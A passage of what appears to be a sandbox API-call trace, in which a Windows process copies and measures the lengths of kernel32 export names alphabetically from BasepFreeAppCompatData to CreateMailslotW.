lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0102.944] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0102.944] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0102.944] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0102.944] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0102.944] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0102.944] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0102.944] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0102.944] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0102.944] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0102.944] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0102.944] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0102.944] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0102.944] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0102.944] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0102.944] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0102.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0102.945] lstrlenA (lpString="BEEP") returned 4 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0102.945] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0102.945] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0102.945] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0102.945] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0102.945] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0102.945] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0102.945] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0102.945] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0102.945] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0102.945] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0102.945] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0102.945] lstrlenA (lpString="CANCELIO") returned 8 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0102.945] lstrlenA (lpString="CANCELIOEX") returned 10 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0102.945] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0102.945] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0102.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0102.946] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0102.946] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0102.946] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0102.946] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0102.946] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0102.946] lstrlenA (lpString="CHECKELEVATION") returned 14 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0102.946] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0102.946] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0102.946] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0102.946] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0102.946] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0102.946] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0102.946] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0102.946] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0102.946] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0102.946] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0102.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0102.947] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0102.947] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0102.947] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0102.947] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0102.947] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0102.947] lstrlenA (lpString="CLOSESTATE") returned 10 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0102.947] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0102.947] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0102.947] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0102.947] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0102.947] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0102.947] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0102.947] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0102.947] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0102.947] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0102.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0102.947] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0102.948] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0102.948] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0102.948] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0102.948] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0102.948] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0102.948] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0102.948] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0102.948] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0102.948] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0102.948] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0102.948] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0102.948] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0102.948] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0102.948] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0102.948] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0102.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0102.948] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0102.949] lstrlenA (lpString="COPYCONTEXT") returned 11 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0102.949] lstrlenA (lpString="COPYFILE2") returned 9 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0102.949] lstrlenA (lpString="COPYFILEA") returned 9 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0102.949] lstrlenA (lpString="COPYFILEEXA") returned 11 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0102.949] lstrlenA (lpString="COPYFILEEXW") returned 11 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0102.949] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0102.949] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0102.949] lstrlenA (lpString="COPYFILEW") returned 9 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0102.949] lstrlenA (lpString="COPYLZFILE") returned 10 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0102.949] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0102.949] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0102.949] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0102.949] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0102.949] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0102.949] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0102.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0102.949] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0102.950] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0102.950] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0102.950] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0102.950] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0102.950] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0102.950] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0102.950] lstrlenA (lpString="CREATEEVENTA") returned 12 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0102.950] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0102.950] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0102.950] lstrlenA (lpString="CREATEEVENTW") returned 12 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0102.950] lstrlenA (lpString="CREATEFIBER") returned 11 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0102.950] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0102.950] lstrlenA (lpString="CREATEFILE2") returned 11 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0102.950] lstrlenA (lpString="CREATEFILEA") returned 11 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0102.950] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0102.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0102.950] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0102.951] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0102.951] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0102.951] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0102.951] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0102.951] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0102.951] lstrlenA (lpString="CREATEFILEW") returned 11 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0102.951] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0102.951] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0102.951] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0102.951] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0102.951] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0102.951] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0102.951] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0102.951] lstrlenA (lpString="CREATEJOBSET") returned 12 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0102.951] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0102.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0102.951] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0102.952] lstrcpyA (in: 